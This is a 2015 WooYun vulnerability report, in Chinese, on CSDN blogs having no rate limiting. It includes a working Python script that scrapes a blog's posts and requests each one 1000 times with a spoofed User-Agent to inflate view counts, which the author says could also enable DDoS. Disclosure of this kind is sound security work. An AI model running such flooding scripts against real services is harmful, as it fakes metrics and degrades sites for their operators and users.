当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0164529

漏洞标题:CSDN博客未对访问做任何控制导致批量刷访问量+DDOS(附poc)

相关厂商:CSDN开发者社区

漏洞作者: NeverEnd

提交时间:2015-12-25 16:17

修复时间:2016-02-08 18:23

公开时间:2016-02-08 18:23

漏洞类型:网络设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-25: 细节已通知厂商并且等待厂商处理中
2015-12-25: 厂商已经确认,细节仅向厂商公开
2016-01-04: 细节向核心白帽子及相关领域专家公开
2016-01-14: 细节向普通白帽子公开
2016-01-24: 细节向实习白帽子公开
2016-02-08: 细节向公众公开

简要描述:

CSDN博客未对访问做任何控制导致批量刷访问量+DDOS攻击

详细说明:

csdn未对用户的访问做任何控制,包括频率、用户ip等等,所以写个脚本一直访问页面就可以达到增加博客访问量的效果。代码如下:

# -*- coding:utf-8 -*-
import sys
import urllib
import urllib2
import re
reload(sys)
sys.setdefaultencoding('utf-8')
# 伪装成浏览器
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36'}
# 指定url并发送请求
req = urllib2.Request(
# ******为你的博客名
'http://blog.csdn.net/******?viewmode=list', headers=headers)
# 服务端响应来自客户端的请求
response = urllib2.urlopen(req)
lines = ''.join(response.read())
# 正则表达式得到链接
regex = r'href="(.*?)"'
L = []
#count用来记数,因为根据此正则规则从源码找出的有重复
count = 1
for m in re.findall(regex, lines):
if len(m) == 35 and count % 2 == 1 and "category" not in m and m not in L:
L.append(m)
count = count + 1
#开始拼接每一个url并循环访问url
print "get url:"+'\n'
print len(L)
a = 0
for mm in L:
url = 'http://blog.csdn.net/' + mm
print url
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36'}
#每个url循环1000次,可以设置更多
for num in range(1,1001):
req_url = urllib2.Request(url, headers=headers)
response_url = urllib2.urlopen(req_url)
print "crawling success"
print "ok"

漏洞证明:

原来的博客:

a.png


一夜之后:

b.png


博客也从不到1000变成了1W+......

2015-12-25_10-21-44.png

修复方案:

访问做限制。

版权声明:转载请注明来源 NeverEnd@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-12-25 18:46

厂商回复:

尽快修复。

最新状态:

暂无